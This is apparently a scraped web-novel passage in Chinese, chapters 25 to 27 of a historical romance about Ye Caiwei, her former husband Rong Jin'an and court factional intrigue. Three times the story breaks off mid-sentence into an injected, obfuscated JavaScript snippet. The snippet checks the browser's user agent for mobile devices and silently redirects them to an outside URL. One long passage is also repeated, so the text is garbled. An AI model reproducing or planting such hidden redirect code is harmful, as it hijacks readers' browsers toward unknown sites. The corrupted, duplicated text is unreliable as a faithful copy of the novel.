叶采薇是个刀子嘴豆腐心的姑娘,她生平最受不了的事,就是女子的眼泪。当初梅若雪抱着她哭,细碎地哭诉着自己的不易,她当即同意带着叶琛离开东流。眼下,这万夫人如此梨花带雨地恳求,她又 怎么会不心软?最终,还是同意了吃这餐饭。 马车行过贡院,只见昨日车马骈阗的门口守卫森严,万建义正在闭目养神,容津岸想起什么,睨过去道:”万大人这监考外帘官还是轻松,明日考生才出闱,你今晚便能收工。若是本官这次丁忧结束,再也无法重返京师,倒是想求一个万大人保举,干脆留在南直隶,领这同样的差事。" 负责秋闱的官员,有内外帘官之分。内帘官的职责主要是出题、阅卷、评定名次等,比考生还要先两日被禁于贡院之中,等到秋闱结果尘埃落定后,才可以离开贡院;而外帘官虽不似内帘官那般谨慎郑重,却也要负责监考、弥封、誊录、对读等事务。叶采薇从未听说过,一场考试尚未结束,外帘官便能堂而皇之提前离场的。 但显然,万建义的态度稀松平常,反舒然道:"容大人真是说笑。我等末流下官,能在南直隶这藏龙卧虎的官场勉强混下去,不过是仰仗了三皇子齐王殿下的隆恩。外帘官经手的那些繁琐俗务,劳神劳形,容大人是天之骄子,日后,我等还要仰仗容大人的关照呢。”这一番互相吹捧,着实令叶采薇十分不适。但最令她不适的,还是万建义话里话外,完全没把他的玩忽职守当回事,可见南直隶官场污浊不堪,根本就是积重难返。 但愿此次秋闱,佟归鹤他们几个能够一切顺利,通过春闱和殿试,真正进入仕途。官场需要正气扫清污浊,否则天日昭昭,何时才能海清河晏呢?马车辚辚,却并未驶往金陵酒楼。 过了许久,有粉腻浮香扑鼻而来,夹杂着女人尖细妩媚的娇音和男人轻佻浪荡的调笑,叶采薇微微掀开侧帘,只见秦淮河畔灯火辉煌,纸醉金迷,浓妆艳抹的花娘迎风招展,声色犬马的脂粉客醉生梦死,不知今夕何夕。声名远扬的烟花巷陌,勾栏瓦舍遍布,男人们流连忘返的销金窟。 然而,秦楼楚馆,最是叶采薇的逆鳞。她不由忆起不堪往事,那张清雅妍丽的脸,迅速沉了下来。 “万大人,”容津岸幽幽的声音出来,“借问一句,今晚是要在此招待本官与叶娘子?, 万夫人点头称是,容津岸却将衣袖一拂:“我朝律法载有明文,在职官员不得狎.妓.嫖.娼。’万夫人一愣,不想容津岸骤然翻脸,又立刻陪笑道:“容大人放心,都是些清倌。 容津岸脸色未舒,万夫人唇角抖了抖,笑得更谄媚了些: "不过是些文人雅趣,吃酒玩闹的地方,就连三皇子微服,也会到这秦淮河畔来消遣放松的。"叶采薇垂着眼帘,咬得自己唇瓣发痛。但容津岸冷冷: “本官尚有重孝在身。” 粉腻浮香和欢声笑语片刻未歇,容津岸态度坚决,马车内陷入尴尬,半晌过后,万建义与万夫人对视一眼,沉下脸,朝万夫人怒道: “你看你,有叶娘子在场,安排容大人去秦淮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578475|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河,像是个什么话?‘ 又瞬间变了笑容可掬,肥眼眯成了一条缝:“容大人,这事全怪拙荆考虑不周,咱们换一个去处,还望容大人海量汪涵,大人不记小人过。’因着这场不大不小的龃龉,叶采薇这才彻底看清了万建义夫妇的嘴脸。 她在心里十分后悔起先心软答应了这餐饭,也将这份后悔付诸行动,如画的眼尾眉梢间,始终阴云密布。万建义夫妇人精一般,自然察言观色,这餐饭的由头是要向叶采薇赔礼道歉的,是以,无论叶采薇表现得多么冷漠,他们两人都一如既往赔着笑脸,变化各种方法,同叶采薇说话。 偏生叶采薇是个吃软不吃硬的人,实在是躲不过去了,便也接了他们敬来的酒,然后继续沉默。容津岸冷眼旁观,每当叶采薇无奈喝下酒时,便会淡淡另起旁的话题,所聊之事多半是些乡土人情、中外逸闻,兜来绕去,一餐饭也消磨大半。叶采薇如坐针毡,盘算着理由要借故离席,对面的万建义又说: “其实呀,别看这些年我万建义在南直隶混得人模狗样,但实际上呢,若不是跟着他们几个搭上了三皇子的大船,我又哪能全须全尾到今天。" 是从前支撑着万建义在国子监横行霸道的那个湖湘世家摊上了大事,万建义为了保官保命,才“迫于无奈”跟了三皇子。 叶采薇咬牙切齿地心想,活该。 “三皇子龙虎之威,民心所向,像康和县主和她那个姓薛的狗.屎父亲,简直就是在抹黑三皇子的名声!下官.....下官也想斗胆请问,容大人,你准备如何处置那康和县主?'' 万建义生得肥头大耳,眼下喝了不少,满面红光,一双眼滴溜溜,直直盯着容津岸看。 万夫人笑盈盈为容津岸和叶采薇布菜。容津岸也笑,但笑意只停在唇角,眉眼凛冽:“万大人喝醉了,本官隶属礼部,怎么能插手地方按察使的公务? 然后他又半举起酒杯,像是自言自语一般:“不过话说回来,如若嘉柔公主亲自来信,为她的表外甥女求情,那本官自然要卖公主一个面子,又或者三皇子殿下,纡尊降贵.....’ 万建义夫妇也跟着笑了起来。 饭毕,各自散去,因着顺路,容津岸带叶采薇同乘-辆马车返回。 夜色阑珊,清风阵阵,叶采薇被吹得头疼,登车时, -个趔趄,差点就栽在容津岸的怀里。她挣扎着起来,不想看这个男人的嘴脸,进入车厢后兀自靠在角落,只等熬到目的地。 回程路途较远,她被摇得头晕目眩,几欲作呕,又半点不愿开口跟容津岸说话,只能紧按胸口,掐着掌心,不停深深呼吸。 “知道自己酒量差,为什么要喝那么多?”不出片刻,容津岸的冷嘲热讽已至。 此时,叶采薇昏昏沉沉,头像灌了铅,说话也一点都不客气: "伸手不打笑脸人,那万夫人都伏低做小成了那样,又说什么中秋将至,桂子秋香应景得很,这酒是金陵特产,我能不多喝几杯?谁知道,谁知道这酒后劲这么大,一吹风,我、我.....” “酒楼的大门永远开着,”容津岸针锋相对,“没有人逼你留下来,你随时都可以走的。" 一句话被戳中痛点,叶采薇的脸更烫了,她咬牙切齿:“你是不是恨不得把我赶走?嗯?因为不想让我听到你龌龊的秘密,对不对?" 纵使眼下再上头再不清醒,叶采薇也清楚明白,方才席上,万建义表面上也酩酊大醉,但那几个借着酒醉问出口的问题,实则是在试探容津岸与三皇子绑定的关系究竟有多深。 万建义只是三皇子党里一个微不足道的小喽哕,对于上面的大事,当然要见缝插针,掌握清楚。容津岸抬手挥停了马车。 马车停下,叶采薇的晕眩好了不少,然而不过两息,她又忽然脾胃翻涌,当即扒开面前的男人,往窗外倾泻。一时间秽物铺天盖地,她满眼飙泪,却听到背后之人说: "弄脏了我的马车和衣衫,今晚只能再把你带回去了。’ 故事 第25章 金陵 25 柴先生闻言,又见容津岸舒朗的神色,眉头也徐徐展开: “想来,定是与叶娘子有关,就算你继续嘴硬,我也能猜得到。, 他顿了顿: “幸好,你在这个时候将她找到了。否则,你这难以入眠的毛病,若是再拖下去的话,明年此时,恐怕我也只能到你歙县的坟前祭拜你了。你们一家四口,齐齐整整。"戏谑的言语难掩冒犯,然而容津岸不置可否,又是一副清清淡淡的模样。 柴先生想起他方才反驳自己的那些,就着他避而不谈的问题,反过来道: “仲修,现在你坏的,可不止是这张嘴。”这话着实不留情面,然而他觉得自己理应将问题说透:"你以为,你总是在为叶娘子着想、顺着她的性子做事,实则根本不然。你有没有想过,她想要的,是你为她而改变,磨平你身上那些会刺伤她的棱角,这就是所谓男女情爱的独一无二,而不是你的那些自以为是。”一番话似是而非,容津岸默然。 半晌之后,一贯冷淡自持的男人蹙起了眉头:“你.....如此了解她内里的想法?” 柴先生倒是优哉游哉,自己给自己倒茶:“别看柴某并未婚配,孑然一身,但我行医多年,见多识广,帮病患处理人事纠葛,也是时有发生的。叶娘子这样的奇女子,实乃世所罕见,她与寻常闺阁之人断然不同,你若是不愿珍惜她,愿意珍惜她的人,可还在后面排着队等着呢。" 容津岸单手持盏,苍白的手背上,隐隐有青筋浮现。“那时与你偶然相识,我还是身无功名的白身。”他的眼睫很长,掩盖住他眼底的情绪,“转眼六年过去,这一回我再要那避子丸,连同之前的,三倍诊金付给你。”柴先生知晓容津岸所指的是他专为男子调配的避子丸,愣了一下,继而点头说了好。 第二日,贡院里秋闱的第一场考试如火如荼进行,府衙里,也在就康和县主向容津岸投毒一案,秘密升堂审理。直到快要日落时,叶采薇才被带到了公堂上,但她并未见到那位县主本人。 南直隶的按察使大人生得慈眉善目,倒不像是主管一省刑名的严肃刻板,反而一副很好说话的模样,叶采薇被他简单问了几个问题便罢,并未涉及私隐。结束后,叶采薇准备离开,即将走出公堂,见迎面而来一名穿着官袍的男子,颇为面熟。那男子大腹便便,一见到她, 双眼里各种复杂的情绪汇聚,而后垂手行礼,态度谦恭至极。 自从与容津岸和离,叶采薇的身份尴尬,再也没有受到过官老爷的这等对待,蹙眉犹疑片刻,才忽然想起来这个人是谁。 恰在此时,身后又有人走来,伴随着柔和的女声,惊喜: “夫君,你怎么来了?这个时辰,你不是应当还在贡院里吗?" 说话的是同样被牵连进投毒一案的万夫人,据说前晚上,康和县主就是经了她之手,将那有毒的糕点送到了容津岸的值房之中。今日,她也被召到了堂上来,按察使对这位万夫人倒是客气得很,叶采薇暗自纳罕,这会儿见了她的夫君,她才恍然大悟。 "无妨的。 万建义的目光先从万夫人身上移开,停至叶采薇,最后又顺势落在了紧随万夫人而来的容津岸脸上,又行了个礼,笑道 "容大人也在。’ 然后一顿: ”说到底,这个案子是因拙荆而起的,无妄之灾,给容大人和叶娘子添了大麻烦。眼下,刚好到了晚膳时间,两位又都在,不知能否赏光,容下官带拙荆,为两位赔个不是?‘ 当年还未出阁时,叶采薇只与奚子瑜等人相熟,本也与国子监的其他学生并无交集。不过,因为奚子瑜早就知晓她与容津岸的事,便暗中出力,将容津岸身边的人,不厌其烦地尽数告知,叶采薇也算对国子监之中的大概掌握不少。 而这位万建义,出身湖湘世家,才学下乘,只仗着自己煊赫的门第,在国子监中横行霸道,更是初初针对容津岸这种出身寒微的贫苦同窗。后来,万建义秋闱中举后春闱却落了第,不知去向。 几年过去,早已风水轮流转,当年趾高气昂的权贵子弟如今谦卑恭逊,恨不得用热脸贴在已位极人臣的容津岸身上。 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然后他又半举起酒杯,像是自言自语一般:“不过话说回来,如若嘉柔公主亲自来信,为她的表外甥女求情,那本官自然要卖公主一个面子,又或者三皇子殿下,纡尊降贵.....’ 万建义夫妇也跟着笑了起来。 饭毕,各自散去,因着顺路,容津岸带叶采薇同乘-辆马车返回。 夜色阑珊,清风阵阵,叶采薇被吹得头疼,登车时, -个趔趄,差点就栽在容津岸的怀里。她挣扎着起来,不想看这个男人的嘴脸,进入车厢后兀自靠在角落,只等熬到目的地。 回程路途较远,她被摇得头晕目眩,几欲作呕,又半点不愿开口跟容津岸说话,只能紧按胸口,掐着掌心,不停深深呼吸。 “知道自己酒量差,为什么要喝那么多?”不出片刻,容津岸的冷嘲热讽已至。 此时,叶采薇昏昏沉沉,头像灌了铅,说话也一点都不客气: "伸手不打笑脸人,那万夫人都伏低做小成了那样,又说什么中秋将至,桂子秋香应景得很,这酒是金陵特产,我能不多喝几杯?谁知道,谁知道这酒后劲这么大,一吹风,我、我.....” “酒楼的大门永远开着,”容津岸针锋相对,“没有人逼你留下来,你随时都可以走的。" 一句话被戳中痛点,叶采薇的脸更烫了,她咬牙切齿:“你是不是恨不得把我赶走?嗯?因为不想让我听到你龌龊的秘密,对不对?" 纵使眼下再上头再不清醒,叶采薇也清楚明白,方才席上,万建义表面上也酩酊大醉,但那几个借着酒醉问出口的问题,实则是在试探容津岸与三皇子绑定的关系究竟有多深。 万建义只是三皇子党里一个微不足道的小喽哕,对于上面的大事,当然要见缝插针,掌握清楚。容津岸抬手挥停了马车。 马车停下,叶采薇的晕眩好了不少,然而不过两息,她又忽然脾胃翻涌,当即扒开面前的男人,往窗外倾泻。一时间秽物铺天盖地,她满眼飙泪,却听到背后之人说: "弄脏了我的马车和衣衫,今晚只能再把你带回去了。’ 秦淮河畔 第26章 故事 26 已经有很久很久,叶采薇没有这般醉过了。即便是上次在山庄那晚大醉,也只是倒上床睡一觉便也好了,何曾如此难受过? 而容津岸不仅没有半点关心,反而还威胁她?莫名其妙,简直莫名其妙。 叶采薇气恼,余光中却出现了一只水囊。男人的冷笑也一并传过来: “叶采薇,你不会是因为听到我跟万建义提了你的老情敌嘉柔公主,这才故意报复我的吧?"这话实在无耻又诛心,叶采薇瞪红了眼,容津岸又淡淡: "先漱口,喝水。” 水囊里的水是温热的,将叶采薇口中酸涩的余秽冲洗新,她慢吞吞喝了几口下去,已然舒服了不少。可是心头还是堵着,越堵越闷。 嘉柔公主,是叶采薇从前最厌恶之人。此人是三皇子的胞妹,沾了三皇子和赵贵妃母子的光,从小到大享尽嘉泰帝的偏宠,在一众皇女中可谓风头无两。而叶采薇与她的恩怨,在最初的十几年里,与容津岸没有半点关系。 赵贵妃是嘉泰帝一生挚爱,赵家也因此鸡犬升天,嘉柔公主更是把嚣张跋扈从宫内铺到了宫外,和赵家其他人一起欺男霸女无恶不作。而叶采薇自小深习孔孟之道,最是看不惯这种仗势欺人之辈,偏偏千娇万宠的嘉柔公主出了宫来,却又处处都比一个臣女落了一头,自然心中不满,两人一见面,连表面功夫都不愿做,恨不得上手掐起来。六皇子狎.妓一事,便是嘉柔公主找人向叶采薇通风报信。 她这么做,一来,可以让六皇子这个同父异母的兄长名誉扫地;二来,对手最了解对手,嘉柔公主只需要一点点地煽风点火,以叶采薇眼里容不得沙子的脾性,自然会闹着与六皇子退婚,到时候她在背地里稍微传一传谣言,便可以大大挫伤叶采薇的威风和名誉。不久后,容津岸出现,如此俊杰,嘉柔公主倾慕不已,使出了浑身解数,坚持不懈,也要让容津岸成为驸马。那时候,叶采薇和容津岸的关系只有亲近的寥寥几人知晓,为了嘉柔公主,叶采薇明里暗里吃的醋数不胜数。后来,太子逆案爆发,容津岸与叶采薇仓促成婚,嘉柔公主竟然也还没有放弃,屡屡从中作梗,让两人的婚姻雪上加霜。 容津岸今日两次主动提起嘉柔公主,安的是什么心?叶采薇被温水缓过了劲, 再次狠狠瞪了过去。 而始作俑者依然不为所动,唇角竟然微微上扬:"嘉柔公主早就嫁给了魏国公世子,一家人和和美美,你在东流消息灵通,竟连这都不知?"叶采薇攥着水囊收紧,再收紧。 戏谑的语气,讽刺的说法,故意激她?可她偏不让他如愿: “别在这里顾左右而言他,我问你,你是不是早已经投靠了三皇子,成了齐王党的中流砥柱?"她死死地瞪住他,昏暗的光线里,容津岸的俊容像今夜头顶的残月,霎时间被点点阴云笼罩。"嘉柔公主、康和县主,这些都是与齐王党有关的人,”叶采薇的心沉了又沉,沉了又沉,双手微微发抖,差点握不住那水囊, “还有万建义他们.....无论你是有意还是无异,围绕在你身边的人,都跟三皇子有关,我没有胡言乱语,也没有污蔑你吧?“ “孟崛和温谣不是,你也不是。”容津岸说。叶采薇怒极反笑,将手中的水囊砸在了男人的身上,“嘭”的一声闷响,那水囊没有盖子,里面残余的温水溅在容津岸下摆上,又流到两人的脚边。 谁也没有去管。 “那些过去的事,你可以拍拍屁股忘得一干二净,我不可以。”叶采薇冷嗤,又直直盯着容津岸漆黑的眼睛,一字一句, "当年阿爹蒙难,我求你想想办法救他,你百般推脱,口口声声说你束手无策。最终还是孟崛出手,我们才能进入天牢,见阿爹最后一面。” 容津岸不置可否。 "从前,我只以为,你薄情寡性,是个自私自利的人,没想到你实则忘恩负义.....哦不,不对,其实那个时候,你就已经投靠了三皇子,是不是?‘她不等他的回答,死死攥着拳头: “三皇子他是个什么人,三皇子一党又都是什么人,你我还不清楚吗?阿爹他是不是你的恩师?若不是三皇子,太子又怎么会一败涂地,阿爹他、他又怎么会落得那样的下场....." 叶采薇眼眶发烫。 再次提起这些,她以为她会哭。 她从前因为这些事,不知道哭过多少回、闹过多少回,这是她命运由盛转衰的节点,刻在她心底的断崖里,永世不灭。 忽来的大风,刮起身后马车的侧帘,打在她颤抖的肩膀,却没有生出半点的痛意。 天色一沉再沉。 愤怒将悲伤淹没,从前是她自己识人不清,竟然一直到今日,才知道全部的真相。 地上的水将她的绣鞋打湿了,缓缓上浸。“自古以来,成王败寇,权力斗争,本就是你死我活的。”容津岸迎着她愤怒的眼,大风将他清绝的脸上那些阴云全部吹散。 “废太子与三皇子之间的争斗,从他们出生起便已然注定,最后,最多只有一个人,可以活着走到权力的顶峰。’ 满口都是之乎者 也的道理。 叶采薇不想听到这些。 ”薇薇, ”被质问被指责,被咄咄相逼, 容津岸却似乎 温柔了起来,他弯腰捡起了那个水囊,将盖子盖上,拧紧,"三皇子确非良善,但当初废太子对你做过的事,你也不应该忘记。" 叶采薇柔嫩的唇瓣,被她的贝齿咬得发痛。不能忘 她不能忘,怎么可能忘? 废太子、三皇子、六皇子,没有哪一个叶采薇不痛恨的。 废太子与三皇子从出生起便开始争夺储位。废太子是皇长子,但是他的生母是个卑微宫女,嘉泰帝十分厌恶;三皇子的生母是嘉泰帝最为宠爱的赵贵妃,但在礼法上,他的轮次低于皇长子。嘉泰帝想立三皇子为太子,遭到群臣反对,他也不愿立长子为太子,于是多年来与宫内外众人反复拉锯,持续整整十五年,才终于不情不愿将皇长子立为太子。 同时,叶渚亭升任兵部武选清吏司郎中,也被嘉泰帝任命为东宫詹事府春坊大学士,主要负责为太子讲学,所以从一开始,叶渚亭就是坚定不移的太子党,根本没有任何退路可言。 太子党与齐王党斗得难分伯仲,嘉泰四十一年,叶采薇认识了来京求学的容津岸,同时也风风火火退掉了与六皇子的婚约。 十月,太子在东宫大摆寿宴。 叶渚亭作为太子党核心,又是太子讲师,自然携独女叶采薇参加;太子还礼贤下士,国子监的学生们也都收到了邀请,无论他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582427|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是否早已私下投靠了齐王党,东宫的面子也要给的。 三皇子称病未到,他的胞妹嘉柔公主盛装出席,六皇子也如约前往,东宫内热闹得很。 宴会尚未开始,嘉柔公主却在国子监一众青年学子之中,一眼便看到了英姿挺拔的容津岸。嘉柔公主一向是顺着自己的心意做事,当下便命人赏了容津岸一套上等的文房四宝还有玉佩扳指等物,又借机坐到了他的身边,片刻不停地询问对方姓名、籍贯、是否婚配等事,司马昭之心,根本不加掩饰。那一段时日里,叶采薇正处在纠结中,不知还要不要对容津岸的冷淡坚持下去。 她坐在他与嘉柔公主的对面,听到了他们全部的对话,当下忍无可忍,笑道: "公主是云端的天仙,今日难得下凡一次。只不过,公主久居云端,对凡人俗事一无所知,只怕公主的一番美意,反而会害了人家。” 叶采薇与嘉柔公主从小不对付,两个人一见面就要针锋相对,无人想到叶采薇是在为容津岸呛声。而嘉泰公主自然也认为叶采薇针对自己,怒上眉梢,准备回呛,六皇子却站了起来。 六皇子就坐在叶采薇身旁,说话更是铿锵有力:"美意就是美意,我天.朝是从何时改了规矩,民女竟也可以当众妄议堂堂公主之事?, 那时候,关于叶采薇与六皇子退亲的谣言,在京城仍旧甚嚣尘上,两人自退亲后也再没见过面。六皇子本就依附于三皇子,退婚一事又让他在京中颜面尽失,如此,主动站出来,为自己和妹妹同出一口气,好不快活。在场之人大多是出身显贵的公子小姐,看热闹不嫌事大,一个个凝神屏息却又大睁着好奇的双眼,片刻不敢错过,只等这场叶采薇如何巧舌如簧、以一敌二的好戏。毕竟身份悬殊,温谣担心叶采薇被这对兄妹联手欺负,悄悄拉了拉闺蜜的衣袖,故意大声担忧说道:”薇薇,我看你脸色不大好,莫不是今日风大,着了凉?不如我们先去跟太子殿下告个罪,我陪你回去吧。”叶采薇在桌下捏了捏温谣冰冷的手,然后站起来,对六皇子和嘉柔公主正色: "公主乃金枝玉叶,就算殿下借给臣女一百个胆子,臣女也不敢妄议。臣女自知身份低微,对规矩律法一知半解,只从家父口中听得,国子监乃我朝培养树德育才之地,监生们都是未来的朝廷栋梁、国之重器。两位殿下享天下供养,自然心怀黎民苍生,想来,若是百姓知晓公主为他们忍痛割爱,一定会加倍感念殿下公而忘私。’朔风里的叶采薇不卑不亢,宛如一棵迎风招展的扶柳。番话将在场所有的监生夸赞了一遍,又将六皇子和嘉柔公主架上了高位。 本朝有不成为的规定,凡尚公主者,皆断送仕途,监生中有抱负远大者自然不屑攀龙附凤,而出身权贵者,即使再趋炎附势贪图享乐,也不愿背着驸马的“美名”躺在公主妻子的荣华富贵里,被同窗背地里偷偷耻笑。是以,这两类人,都多多少少对叶采薇产生了几分钦佩。 只不过,以臣女身份挑衅皇子公主,即使叶采薇是太傅之女,也无异于以卵击石,他们又暗地里都为这个大胆的姑娘捏了把汗。 恰在此时,容津岸站起身,无不恭敬回禀嘉柔公主,自言他幼时亡父为国捐躯,当时他便在亡父灵前许下重誓,非立业不成家,当众拒绝了嘉柔公主。叶采薇心中一凛。 她才帮了他,他却借着拒绝公主,也一并拒绝了她。容津岸,你就当一辈子孤家寡人吧! 案 第27章 秦淮河畔 27 叶采薇还来不及恼恨,眼下的困境仍未跳脱。嘉柔公主和六皇子被她一个人下了面子,当下还要发作为难,今日宴会的主角、东宫之主太子赶到,一国储副的威仪三言两语,把双方各打五十大板解决,权当和了个稀泥。太子及时出手相帮,叶渚亭又恰好被急召入宫伴驾,宴过大半,叶采薇只好自己单独求见太子,以郑重致谢。东宫重地,层楼叠榭,她被宫婢引着,在花园和廊庑中左右穿行,直到一处暖阁前,方才停下。暖阁之中,狻猊炉浮香缥缈,太子--人独坐。 他已经换了衣衫,身着明黄蟒袍,头戴金丝翼善冠,腰间玉带雍容,指上红蓝嵌宝。 叶采薇自觉不安。 她循着全礼,将感谢之语说尽,太子则如常回应客套之言,语至尽头,谁知他话锋一转,忽然伸出粗胖的食指,在那翼善冠上轻轻一点: “方才孤忙着过来见叶姑娘,伺候的婢女也是心急,孤觉得这冠有些歪了。不知叶姑娘能否靠近一些,帮孤看一看?'' 几位皇子虽然生母不同,但都十分相像,纵然一身华贵,也难掩相貌粗鄙,肥头大耳。 太子比叶采薇年长整整十五岁,更是丑陋中的翘楚,这几句敷衍的借口,就好像是从一池油水里打捞出来一般,腻得发。 然而,太子为君,叶采薇不敢拒绝,只能抬头一眼,立刻断言: ”帽冠方正,无甚错漏。 “诶,叶姑娘站得那样远,”太子优哉游哉,“恐怕看不清楚,到孤的身边来。’ 叶采薇脚心都在发颤,却也只好硬着头皮照做。“臣女看得仔细,确实无甚错漏。 这一次,她刻意多留了两息,站在太子的身前,她只能更加小心翼翼。 “是吗?可孤总觉得,它是歪的。 太子耷拉的嘴角扬起一丝狞笑,被肥厚的眼皮压得细成一条缝的眼,浑浊而露.骨地,盯着叶采薇颤抖的杏眸,他玩味说道: “不若叶姑娘来帮孤一把?令尊是孤之恩师,孤得令尊十余年悉心教导,那一句"君子死而冠不免①’,孤一直牢记于心。由叶姑娘来为孤正冠,最合适不过。”这下,叶采薇先前所有的侥幸烟消云散。她已不是六皇子未来的王妃,太子的不轨之心更是无所忌惮,不仅仅想借故调戏,很有可能还会对她下毒手。怎么办,怎么办呢? 她不可以违抗太子的命令,也不可以呼救,就算突然装作昏迷直接往地上躺,太子就更可以借故将她留在东宫,后患无穷。 所有的路都被堵死了。 叶采薇慢吞吞上前,柔荑颤抖不止,迎着太子志在必得的眼神。 门外突然传来急报。 原来,是太子妃遣人过来,说有位国子监的监生在宴上突然呕吐倒地、不支昏迷,原因不明,太子妃为保东宫声誉,想趁着事态未扩大立刻遣散宴席,征求太子的意见。叶采薇得以顺利脱身。 惊魂未定离开东宫后,她才从温谣的口中得知,那位突然发病的监生,就是容津岸。 是巧合,还是他不知如何得知了她被太子刁难,而出手帮她? 她看不懂,可她愿意相信,容津岸对她并非完全无情。因为太子与叶渚亭深度绑定的关系,这件事她不敢告诉叶渚亭,只能自此以后,尽量躲着太子。所幸,没过两个月,太后崩逝,太子失去了储位稳固最大的靠山,成日忙于与齐王党的斗争,也因为背着国丧,没有理由为东宫添新人、给政敌主动递去把柄。但这件事的阴云一直笼罩着叶采薇,那时候她与容津岸的关系尚不明朗,她被困在双重沉闷里,不得拨云见月。就好比现在。 八年之后,重重烟云将她迷锁。 “是,废太子是个奸佞小人,他不配为君,不需要你来提醒我。” 她松开被自己咬得麻木的唇瓣,直视着容津岸晦暗不清的面容。 "三皇子呢,他又是什么良善吗?现在我们说三皇子,你拿废太子的坏事出来混淆,以为我会上你的当?”猛虎摩拳擦掌,“三皇子是我的杀父仇人,杀父之仇不共戴天,你背信弃义投靠敌人,还要惺惺作态!”怒火烧红了她的双耳,叶采薇扑了上去,正要一口咬断男人的脖颈,脾胃却再一次翻江倒海。撕咬变作干呕,双眼被可耻的热泪蒙住,叶采薇在头顶胡乱摸索,拔下发簪,就要往容津岸的胸膛刺去。谁知动作不够果断,男人一把就夺了过来,将那挂坠的发簪插在了他自己的髻上。 然后握住她的手腕,迅速找到她前臂掌侧、腕横纹上两寸处,用长指适度按揉。 “你.....你真让我恶心!”叶采薇剧烈挣扎,始终无法摆脱,于是一口咬在了容津岸的喉结上。她发了狠,喉结是男子的脆弱之处,动辄致命,容津岸吃痛,手上的劲力更重,她耐受不得,只能松口。昏暗的车厢里,两个人的双眼都红得滴血。叶采薇却落下泪来。 愤怒,委屈,疼痛,独独没有那种作呕的难耐。“跟着柴先生学了几招急救,为了让你少作点孽,差点命都交到你的手上,这么恨不得我死?"容津岸的长指按在喉结的边缘,深深的齿痕环绕一圈,他痛得吸了一口气。"我现在 杀了你,送你到地下去当面向阿爹忏悔,有何不可?”眼泪还在往下落,叶采薇哽了哽,咬牙,“要不然你就自行了断,免得脏了我的手!’说完,又要去拔那根被他抢走的发簪。“这世上的事,并非非黑即白,”容津岸用大掌将她的手完全包住,制止了她的动作,“咬人的小老虎,有些事,我现在不可以告诉你。’ 他看着她被泪水濯洗的瞳孔,眸底像无尽的渊薮:"我没有做过任何对不起叶阁老的事,就算你现在送我下去见他,我也还是这句话。'' “我不信。’ “那不如这样,我们现在就下车,外面就是秦淮河,我们一起往下跳,反正我死了你也难逃死罪,不如都到叶阁老面前去,说给他听,看他信不信。"“你别跟我发疯!” "是你先发疯的。” “容津岸,你放开我!’ "你不是说了要一起死的吗,放开你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599811|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还怎么一起死?说话间,容津岸又找到了她的手腕,再次按揉,那里是内关穴,专治呕吐呃逆等胃疾。 "下次少喝点酒,跟我闹的时候,也能多点底气。"“给三皇子当狗,有什么必要吗?很光荣?”叶采薇咬着牙看他。 “那怎么办,”容津岸嘴角却突然噙起了笑意,“要我给你当狗?'' 叶采薇啐了一口,用脚狠狠踢了他一下,沉默,闷闷道: “老实说,我不知道我自己该不该信你。’“不信也无所谓的,我本就不是什么高洁正直的人,你也不是第一天认识我。"他清绝的眉眼仍旧挂着戏谑的笑意,实在难以捉摸, “我不在应天,就在歙县老家,又或者京城的容府,要是不愿意信我了,随时可以来找我的,怎么杀都可以。”叶采薇咬着唇陷入沉默。 “柴先生教过我,要止吐,还需再按中脘穴,双管齐下效果最好。”容津岸作势,往她的上腹部探去。她连连挥开他苍白的手,两人歇斯底里的争吵,就这样被放在了一边。 容津岸又说她此刻醉酒不宜长途坐车,让容文乐就地找了一间客栈,顺便吩咐了店家,准备好了生姜等止吐之物。 叶采薇断然拒绝,要自己雇车去找见雁,谁知容津岸道: “叶娘子,你弄脏了我的车和我的衣服,还有,"他指了指喉结上的一圈牙印: “你把我咬成这样,这就要拍拍屁股走人了吗?”叶采薇讪讪,尚带着薄醉的小脸一扭:“赔你钱就是了!要狮子大开口吗?”说罢就伸出手,管问鹂拿银票。 问鹂面色为难。 容津岸却趁势捉了叶采薇的手,“还和前晚一样就是,多的我也不敢找你讨,随便咬人的小老虎,我可得罪不起。" 最后的结果便是,两个人再次分享一张床榻,但泾渭分明,井水不犯河水。 容津岸甚至比之前还要规矩,连外衣都没脱,叶采薇则借着酒意,踏实安睡,一觉无梦。醒来时,辰时已过,容津岸主仆二人也早已离开。问鹂说他们留下了一万两的银票,康和县主那个案子已了,东西物归原主。 